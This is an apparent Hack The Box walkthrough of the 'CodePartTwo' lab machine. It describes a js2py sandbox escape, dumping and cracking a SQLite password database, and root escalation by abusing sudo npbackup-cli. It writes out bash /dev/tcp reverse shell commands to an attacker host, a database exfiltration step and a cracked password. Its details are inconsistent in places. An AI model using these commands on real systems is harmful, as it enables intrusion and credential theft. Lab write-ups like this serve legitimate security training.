Skip to content
Home » Hack The Box: CodePartTwo Machine Walkthrough – Easy Diffculty

Hack The Box: CodePartTwo Machine Walkthrough – Easy Diffculty

Reading Time: 11 minutes

Introduction to CodePartTwo:

In this writeup, we will explore the “CodePartTwo” machine from Hack The Box, categorized as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “CodePartTwo” machine from Hack The Box by achieving the following objectives:

User Flag:

After exploiting the js2py sandbox escape in the Code Editor to gain a reverse shell as the “app” user, enumerating the application directory revealed a SQLite database (users.db) in /app/instance. Transferring the database to the attack machine via a Python HTTP server on port 8001 and querying it with sqlite3 dumped two users: “marco” and “app”. Submitting the hashes to CrackStation online cracked marco’s password as sweetangelbabylove. Using these credentials, SSH access was gained as marco@10.129.232.59, and cat user.txt revealed the user flag

Root Flag:

With SSH access as marco, sudo -l showed nopasswd execution rights on /usr/local/bin/npbackup-cli as root. The tool (npbackup 3.0.1) required a config file and supported the –external-backend-binary flag. From the root shell, cat /root/root.txt displayed the root flag

Enumerating the CodePartTwo Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.129.232.59

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/codeparttwo]
└──╼ $nmap -sC -sV -oA initial 10.129.232.59 
# Nmap 7.94SVN scan initiated Fri Jan 30 11:55:34 2026 as: nmap -sC -sV -oA initial 10.129.232.59
Nmap scan report for 10.129.232.59
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan 30 11:57:01 2026 -- 1 IP address (1 host up) scanned in 87.42 seconds

Analysis:

  • Port 22 (SSH): OpenSSH 8.2p1 on Ubuntu 4ubuntu0.13 (protocol 2.0) is exposed with host keys visible (RSA 3072, ECDSA 256, ED25519 256), indicating standard remote shell access is available for later credential-based login attempts.
  • Port 8000 (HTTP): A Gunicorn 20.0.4 web server is running (likely serving a Flask or Python application), with the page title “Welcome to CodePartTwo” confirming this is the main attack surface—an online JavaScript code execution platform.

Web Enumeration:

Perform web enumeration to discover potentially exploitable directories and files.

The root page at http://10.129.232.59:8000/ displayed the “Welcome to CodePartTwo” landing page, describing an open-source JavaScript code playground for writing, saving, and running code, with sections on its mission, open-source benefits, community focus, and prominent LOGIN, REGISTER, and DOWNLOAD APP buttons.

Analyze the code on CodePartTwo Machine

Displaying app.py revealed the core Flask application using js2py with disable_pyimport() enabled, Flask-SQLAlchemy connected to sqlite:///users.db, a User model with username and password_hash columns (length 128), a CodeSnippet model linked to users, and basic routes like @app.route(‘/’) rendering index.html, confirming the app stores user credentials in the SQLite DB and executes JS via js2py.

Displaying requirements.txt listed the exact versions used: flask==3.0.3, flask-sqlalchemy==3.1.1, and crucially js2py==0.74 — confirming the vulnerable js2py library (known for sandbox escape issues like CVE-2024-28397) that enabled the initial foothold via code execution.

Listing the /app/instance directory on the target (after lateral or exfil) showed only users.db, the SQLite database file containing user credentials, confirming the instance folder holds the persistent data store for the Flask-SQLAlchemy setup.

In the local sqlite3 session on the downloaded users.db, multiple attempts to run SELECT * FROM user (with varying case) were made, but the shell showed no output in this screenshot, indicating either a syntax issue or the table name being case-sensitive (user vs users), before settling on the correct table name for dumping.

Navigating to http://10.129.232.59:8000/register loaded a clean registration form titled “REGISTER” with fields for Username and Password, a REGISTER button, and a link back to Login for existing users.

The registration form at http://10.129.232.59:8000/register showed the username field populated with “dark” while the password field remained masked and focused, confirming basic input handling on the register endpoint.

The login page at http://10.129.232.59:8000/login presented a simple “LOGIN” form with fields for username (“dark” entered) and password (masked), a LOGIN button, and a “Register here” link for new users.

Authenticated Dashboard & Code Execution

After logging in, the dashboard at http://10.129.232.59:8000/dashboard presented an authenticated “CodePartTwo” interface featuring a JavaScript code editor pre-filled with a simple test (var x = 16; x;), options to create/save/run/manage JS code, a LOGOUT button, and a clear indication that the app functions as an online JS execution sandbox.

SSTI Vulnerability Discovered in Code Execution Engine

Executing the arithmetic expression {7*7} in the Code Editor successfully returned 49 in the Output section, confirming that basic JavaScript evaluation works as expected within the js2py sandbox and that the app executes and displays results from user-supplied code.

The code editor displayed a simple test input {whoami} (likely intended as a template or SSTI-like probe), run in the js2py environment, but producing no visible output in the provided screenshot, indicating either no evaluation of the expression or a failed sandbox probe at this stage.

Running the JavaScript expression {whoami} (or a similar probe) in the Code Editor resulted in the output “app”, revealing that the server-side execution context runs as the Linux user “app”, providing the first clear indication of the foothold user and confirming successful access to system-level information via the js2py sandbox.

The full JavaScript payload entered in the Code Editor attempts a classic js2py sandbox escape by walking the prototype chain to reach Python’s object base (o = {}.__proto__.__proto__.__proto__), then defines a recursive function findPopen to iterate over __subclasses__() and locate subprocess.Popen by checking __module__ and __name__, before invoking it with a reverse shell command (bash -c ‘bash -i >& /dev/tcp/10.10.14.133/9007 0>&1’) using non-standard Popen arguments to spawn the shell as the web process user.

Gaining Shell as ‘app’ Through js2py Sandbox Bypass

Executing the crafted JavaScript sandbox escape payload in the Code Editor successfully triggered a reverse shell, with netcat listener on port 9007 catching an inbound connection from the target (10.129.232.59:39158), spawning a bash shell as user “app” (prompt: app@codeparttwwo:~/app$), despite minor non-fatal warnings about terminal process group and job control, marking initial foothold on the machine as the low-privileged “app” user.

Listing /app revealed the Flask app root with key files: app.py, requirements.txt, instance/ (containing the DB), static/, templates/, and __pycache__/, granting full access to review the backend code for additional vulnerabilities or secrets.

Enumeration of /home revealed two user directories: /home/app (owned by app:app, permissions drwxr-x—) and /home/marco (owned by marco:marco, permissions drwxr-x—), indicating a second user “marco” on the system as a potential lateral movement target from the current “app” foothold.

Extracting Credentials via SQLite3 Enumeration

Listing /app (the current working directory and likely the Flask app root) showed source files including app.py, requirements.txt, instance/ directory (containing the DB), static/, templates/, and pycache/, providing full access to review the application’s backend code for further vulnerabilities or config secrets.

Running file users.db in /app/instance confirmed the file is a SQLite 3.x database (last written with SQLite version 3031001), strongly suggesting it contains application user data (likely credentials) accessible for credential dumping or cracking as part of post-exploitation.

Attempting to launch sqlite3 interactively in /app/instance prepared to query or dump the users.db SQLite database directly on the target, a common step to extract hashed passwords or user details for cracking and lateral movement to the “marco” account.

Executing which python3 on the target confirmed Python 3 is installed at /usr/bin/python3, useful for verifying the environment supports Python-based file serving or further exploitation/persistence techniques.

Running python3 -m http.server 8001 in /app/instance started a simple HTTP server exposing the directory contents (including users.db) on port 8001, enabling direct file transfer to the attacker machine for offline analysis.

From the attack machine, wget http://10.129.232.59:8001/users.db successfully downloaded the SQLite database (16KB) served via a Python HTTP server on port 8001, allowing offline extraction of credentials from the target for cracking and lateral movement.

Hash Dumping & Password Recovery for marco

Launching sqlite3 interactively on the attacker machine prepared to open and query the downloaded users.db file, a standard step to dump user tables, hashes, or credentials for cracking.

Running .tables in the SQLite shell on the downloaded users.db revealed two tables: code_snippet (likely for saved JS code) and user (containing user account data), guiding further queries to extract credentials from the user table.

Querying SELECT * FROM user dumped two rows: user “marco” with hash 649c9d65a5a206a75f5abebe509fe128bcce5 and user “app” with hash a975588c0e2fa3a3a02487876339e27aeab42e, exposing MD5-hashed passwords for offline cracking and potential SSH access as marco.

Feeding the extracted hashes into John the Ripper (john hash –wordlist=rockyou.txt) triggered numerous warnings about ambiguous hash types (primarily detected as LM but also matching MD5, NT, etc.), indicating the need to specify the correct format (e.g., Raw-MD5) for proper cracking.

Running John the Ripper with –format=RAW-md5 on the hashes against rockyou.txt identified and cracked marco’s password as “emerald” (though ultimately incorrect per CrackStation), highlighting the value of online rainbow table lookups for fast unsalted MD5 recovery before full dictionary/incremental runs.

Submitting the two MD5 hashes to CrackStation revealed marco’s password as “sweetangelbabylove” (green/exact match for 649c9d65a5a206a75f5abebe509fe128bcce5), while app’s hash remained unknown (red/not found), enabling immediate SSH login as marco for lateral movement.

SSH to marco@10.129.232.59 prompted for host key fingerprint acceptance (SHA256:KGKF…), then displayed the Ubuntu 20.04.6 LTS MOTD with system info (load 0.0, 57.4% disk usage, etc.), confirming successful lateral movement to the “marco” user account via cracked credentials.

Executing cat user.txt in marco’s home directory output the user flag , completing the user-level objective after pivoting from the “app” foothold via the dumped and cracked SQLite database credentials.

Escalate Root Privileges

Privilege Escalation:

A black background with green text

AI-generated content may be incorrect.

After successfully SSHing as marco@10.129.232.59 using the cracked password “sweetangelbabylove”, listing the home directory revealed backups, npbackup.conf, and user.txt, immediately indicating the presence of a backup configuration file as a likely privilege escalation vector.

Sudo Rights & npbackup-cli Analysis

A screen shot of a computer

AI-generated content may be incorrect.

Running sudo -l as marco revealed that the user can execute /usr/local/bin/npbackupup-cli as root with NOPASSWD, providing a clear privilege escalation vector via the backup CLI tool without requiring a password.

Running sudo /usr/local/bin/npbackup-cli as marco executed the backup tool with root privileges (confirmed by log message “running as root”), but immediately failed with a critical error (“Cannot run without configuration file”), along with version details (npbackup 3.0.1 legacy public build) and execution timing, reinforcing that the privesc path requires supplying a valid config file (e.g., the existing npbackup.conf) or crafting one to exploit features like stdin_from_command for arbitrary command execution as root.

A screenshot of a computer

AI-generated content may be incorrect.

Displaying npbackupup.conf exposed a public audience config with a long obfuscated/encrypted repo_password, a backup path including /app/app/ and /home/app/, and crucially a stdin_from_command option under default_group, suggesting potential command injection or arbitrary execution via malicious stdin input during backup operations.

Attempting sudo npbackupup-cli -c npbackupup.conf -f –dump /root/root.txt failed with “cannot dump file: path ‘/root’ not found in snapshot”, indicating the tool operates on restic/Borg-like snapshots and does not allow direct arbitrary file dumping outside backed-up paths, requiring abuse of other flags or config options for privesc.

A green line with numbers

AI-generated content may be incorrect.

The edited npbackup.conf now included /root/ under backup paths in the default repo, attempting to force inclusion of the root directory in snapshots so –dump could later extract /root/root.txt, though the prior dump attempt failed due to no existing snapshot containing /root.

Re-running sudo npbackup-cli -c npbackup.conf -f –dump /root/root.txt still failed with “path ‘/root’ not found in snapshot”, indicating the tool requires a prior successful backup/snapshot creation containing the target path before dumping is possible, necessitating a full backup run first to populate the repo.

Exploitation via External Backend Binary

As marco, a reverse shell script was created at /home/marco/dark with shebang #!/bin/sh followed by exec /bin/bash -c “bash -i >& /dev/tcp/10.10.14.133/9007 0>&1”, then made executable via chmod +x dark, preparing it for abuse as an external backend binary during npbackup-cli execution to gain a root shell.

A screenshot of a computer

AI-generated content may be incorrect.

On the attack machine, nc -lvnp 9007 was started to listen for an incoming reverse shell connection on port 9007, preparing to catch the root shell triggered by executing the malicious external backend binary during npbackup-cli exploitation.

Running sudo /usr/local/bin/npbackup-cli –config /home/marco/npbackup.conf –external-backend-binary=/home/marco/dark -b –repo-name default as root loaded the config (ID 4E3B3BFD), confirmed execution as root, and invoked the malicious script /home/marco/dark, spawning a root reverse shell back to the attacker’s listener at 10.10.14.133:9007.

A screen shot of a computer

AI-generated content may be incorrect.

The netcat listener (nc -lvnp 9007) on the attack machine received an inbound connection from the target, catching a root shell spawned via the exploited –external-backend-binary flag in npbackup-cli, completing privilege escalation from marco to root.

After gaining a root shell via the exploited –external-backend-binary flag in sudo npbackup-cli, executing cat /root/root.txt as root displayed the final flag, completing the full compromise of the CodePartTwo machine from initial JS sandbox escape through credential dumping, lateral movement to marco, and privilege escalation to root.